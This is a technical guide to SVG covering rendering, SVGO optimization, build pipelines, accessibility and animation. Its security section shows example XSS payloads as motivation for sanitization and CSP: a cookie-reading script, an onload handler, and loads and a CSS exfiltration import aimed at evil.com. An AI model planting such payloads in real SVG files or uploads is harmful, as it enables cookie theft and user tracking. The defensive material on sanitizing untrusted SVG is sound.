The SVG Rendering Model
SVG is not "just XML that draws shapes." Understanding the rendering model is prerequisite to meaningful optimization.
The Coordinate System Stack
Every SVG element establishes a coordinate system. The viewBox attribute defines a mapping from user space to viewport space:
<svg width="200" height="100" viewBox="0 0 400 200">
<!-- Drawing commands use 400×200 coordinate space -->
<!-- Rendered into 200×100 pixel viewport -->
<!-- Scale factor: 0.5x in both directions -->
</svg>
The formula: scale = min(viewport_width / viewBox_width, viewport_height / viewBox_height) (for meet).
preserveAspectRatio Decoded
The attribute has format <align> <meetOrSlice>:
| Value | Behavior |
|---|---|
xMidYMid meet |
Center content, scale to fit (letterbox). Default |
xMidYMid slice |
Center content, scale to fill (crop) |
none |
Stretch to fill viewport (distorts aspect ratio) |
xMinYMin meet |
Align top-left, scale to fit |
none is the only value that allows non-uniform scaling — use it for fluid backgrounds that should stretch.
The Painting Order
SVG renders elements in document order (back to front). There is no z-index. Later elements paint over earlier ones:
<svg>
<!-- Rendered first (behind) -->
<rect x="10" y="10" width="80" height="80" fill="blue"/>
<!-- Rendered second (on top) -->
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
This matters for optimization: moving complex elements that are fully occluded doesn't save render time — the GPU still processes them.
SVGO: Plugin Architecture and Configuration
SVGO (SVG Optimizer) is the industry-standard optimization tool. Understanding its plugin architecture enables precise control over what gets optimized.
Plugin Types
SVGO 3.x plugins operate on the AST (Abstract Syntax Tree) of the SVG document:
// svgo.config.js
module.exports = {
plugins: [
'preset-default', // Built-in defaults
'removeDimensions', // Remove width/height, keep viewBox
{
name: 'removeAttrs', // Plugin with parameters
params: { attrs: '(data-.*)' }
},
{
name: 'addAttributesToSVGElement',
params: { attributes: [{ 'aria-hidden': 'true' }] }
}
]
};
The preset-default Bundle
preset-default enables these plugins (among others):
| Plugin | Effect | Safe to disable? |
|---|---|---|
removeDoctype |
Remove <!DOCTYPE> |
Always safe |
removeXMLProcInst |
Remove <?xml?> |
Safe for inline SVG |
removeComments |
Remove <!-- --> |
Usually safe |
removeMetadata |
Remove <metadata> |
Usually safe |
removeEditorsNSData |
Remove editor namespaces | Always safe |
cleanupAttrs |
Normalize whitespace in attributes | Always safe |
mergeStyles |
Merge multiple <style> elements |
Usually safe |
inlineStyles |
Move CSS to presentation attributes | Breaks external styling |
convertPathData |
Simplify path commands | Safe (precision configurable) |
convertTransform |
Collapse transform chains | Safe |
removeUnusedNS |
Remove unused namespace declarations | Always safe |
collapseGroups |
Flatten unnecessary <g> elements |
May break animations |
Writing a Custom Plugin
// custom-plugin.js
const myPlugin = {
name: 'removeTestIds',
fn: () => ({
element: {
enter: (node) => {
if (node.attributes['data-testid']) {
delete node.attributes['data-testid'];
}
}
}
})
};
// svgo.config.js
module.exports = {
plugins: ['preset-default', myPlugin]
};
Precision vs File Size Tradeoff
// Path data precision: more decimals = larger file, more accurate curves
{
name: 'convertPathData',
params: {
floatPrecision: 1, // Aggressive: "M10.5 20.3" → "M10 20" (visible artifacts on complex curves)
floatPrecision: 2, // Balanced: "M10.53 20.37" → "M10.53 20.37" (safe for most icons)
floatPrecision: 3 // Conservative: keeps precision (large files)
}
}
Rule of thumb: icons at 24×24px → precision 1 is fine. Illustrations at 1000×1000px → precision 2-3 required.
SVG Security: XSS and Sanitization
SVG is an attack vector. Because SVG is XML that can contain JavaScript, loading untrusted SVG is equivalent to loading untrusted HTML.
Attack Vectors
1. Script execution via <script>:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
2. Event handlers:
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" onload="alert('XSS')"/>
</svg>
3. External resource loading:
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://evil.com/track.gif"/>
<use href="https://evil.com/payload.svg#exploit"/>
</svg>
4. CSS injection:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url('https://evil.com/exfiltrate?data=...');
</style>
</svg>
Defense Strategies
| Context | Risk level | Mitigation |
|---|---|---|
<img src="file.svg"> |
Low — scripts don't execute | Safe for untrusted SVG |
Inline <svg> in HTML |
High — full DOM access | Must sanitize |
background-image: url(file.svg) |
Low — scripts don't execute | Safe |
<object> / <iframe> |
Medium — sandboxed execution | Use sandbox attribute |
User-uploaded SVG served as image/svg+xml |
High — direct navigation executes scripts | Must sanitize or serve with CSP |
Sanitization Library
import DOMPurify from 'dompurify';
const cleanSVG = DOMPurify.sanitize(untrustedSVG, {
USE_PROFILES: { svg: true, svgFilters: true },
ADD_TAGS: ['use'],
FORBID_TAGS: ['script', 'foreignObject'],
FORBID_ATTR: ['onload', 'onclick', 'onerror', 'xlink:href']
});
Content-Security-Policy for SVG
Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self'
When serving user-uploaded SVG, set script-src 'none' to prevent script execution even if sanitization fails.
Performance Pitfalls
1. Filter Elements Are Expensive
SVG filters (<filter>) operate on pixel buffers, not vector geometry. They trigger rasterization:
<!-- This innocent-looking blur forces rasterization of the entire subtree -->
<g filter="url(#blur)">
<path d="...huge path data..."/>
</g>
<filter id="blur">
<feGaussianBlur stdDeviation="3"/>
</filter>
Each filter primitive (feGaussianBlur, feDropShadow, feColorMatrix) allocates a pixel buffer the size of the filter region. Chained filters multiply memory usage.
Mitigation: Use CSS filter: blur() instead of SVG filters when possible — CSS filters are GPU-accelerated on most browsers.
2. Clip-Path Complexity
Complex clip-paths force per-pixel intersection testing:
<!-- Expensive: 500-point polygon as clip path -->
<clipPath id="complex">
<path d="M... (500 points)"/>
</clipPath>
<!-- Cheap: simple rectangle clip -->
<clipPath id="simple">
<rect x="0" y="0" width="100" height="100"/>
</clipPath>
3. Large Path Data
A single <path> with thousands of points is more expensive to parse and render than equivalent simpler paths:
| Path complexity | Parse time | Render time | File size |
|---|---|---|---|
| 50 points | ~0.1ms | ~0.1ms | ~200B |
| 500 points | ~1ms | ~0.5ms | ~2KB |
| 5,000 points | ~10ms | ~5ms | ~20KB |
| 50,000 points | ~100ms | ~50ms | ~200KB |
Mitigation: Simplify paths during export (reduce point count), or split into smaller paths for progressive rendering.
4. Embedded Raster Images Defeat the Purpose
<!-- This "SVG" is actually a 2MB PNG with vector chrome around it -->
<svg>
<image href="data:image/png;base64,..." width="1000" height="1000"/>
<text x="50" y="50">Label</text>
</svg>
This is worse than a standalone PNG: larger file (Base64 encoding adds 33%), no SVG caching benefits, and the browser must decode both SVG and raster.
Build Pipeline Integration
Vite (vite-plugin-svgr)
// vite.config.js
import svgr from 'vite-plugin-svgr';
export default {
plugins: [svgr({
svgrOptions: {
plugins: ['@svgr/plugin-svgo', '@svgr/plugin-jsx'],
svgoConfig: {
plugins: ['preset-default', 'removeDimensions']
}
}
})]
};
// Usage in React
import Logo from './logo.svg?react'; // Imported as React component
import logoUrl from './logo.svg'; // Imported as URL string
function App() {
return <Logo className="logo" aria-label="Company logo" />;
}
Webpack (@svgr/webpack)
// webpack.config.js
module.exports = {
module: {
rules: [{
test: /\.svg$/i,
issuer: /\.[jt]sx?$/,
use: [{
loader: '@svgr/webpack',
options: {
svgo: true,
svgoConfig: { plugins: ['preset-default'] }
}
}]
}]
}
};
Next.js
// next.config.js
module.exports = {
webpack(config) {
config.module.rules.push({
test: /\.svg$/,
use: ['@svgr/webpack']
});
return config;
}
};
Accessibility Beyond aria-label
Decision Tree
Is the SVG decorative (no information)?
├── Yes → <svg aria-hidden="true" focusable="false">
└── No → Does it stand alone or have adjacent text?
├── Standalone → <svg role="img" aria-labelledby="title">
│ <title id="title">Description</title>
└── Has text → <svg aria-hidden="true"> (text carries the meaning)
Interactive SVG Accessibility
<svg role="img" aria-labelledby="chart-title chart-desc">
<title id="chart-title">Monthly Revenue</title>
<desc id="chart-desc">Bar chart showing revenue from Jan to Dec 2025</desc>
<!-- Each interactive element needs focus handling -->
<g role="listitem" tabindex="0" aria-label="January: $45,000">
<rect x="10" y="20" width="30" height="80"/>
</g>
</svg>
focusable="false" on IE/Edge Legacy
IE and old Edge make SVG elements focusable by default. Always add focusable="false" to decorative SVGs for cross-browser consistency.
Animation Approaches
| Approach | Performance | Browser support | Use case |
|---|---|---|---|
CSS @keyframes |
GPU-accelerated (transform, opacity) | Universal | Simple transitions |
CSS transition |
GPU-accelerated | Universal | State changes |
SMIL <animate> |
Main thread | All modern (Chrome re-supported 2019) | Declarative path animation |
| Web Animations API | GPU-accelerated | Modern browsers | Programmatic control |
| GreenSock (GSAP) | Optimized JS | Universal (library) | Complex sequenced animations |
CSS Animation (Preferred for Simple Cases)
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.spinner {
animation: spin 1s linear infinite;
transform-origin: center;
}
Path Animation with SMIL
<path d="M10 80 Q 95 10 180 80">
<animate
attributeName="d"
dur="2s"
values="M10 80 Q 95 10 180 80; M10 80 Q 95 150 180 80; M10 80 Q 95 10 180 80"
repeatCount="indefinite"
/>
</path>
SMIL animates path d attribute — something CSS cannot do. Use SMIL for morphing shapes.
Optimization Checklist
- Run SVGO with appropriate precision settings for the use case
- Remove editor metadata (
<metadata>, Illustrator/Figma namespaces) - Simplify paths (reduce decimal precision, merge transforms)
- Use
<symbol>+<use>for repeated icons (SVG sprite) - Enable gzip/brotli on the server (SVG compresses 60-80%)
- Avoid filters on large elements (use CSS
filterorbox-shadowinstead) - Remove embedded rasters (base64 images inside SVG)
- Set
aria-hidden="true"on decorative SVGs - Sanitize user-uploaded SVG (DOMPurify or server-side equivalent)
- Serve with appropriate CSP (
script-src 'none'for user content)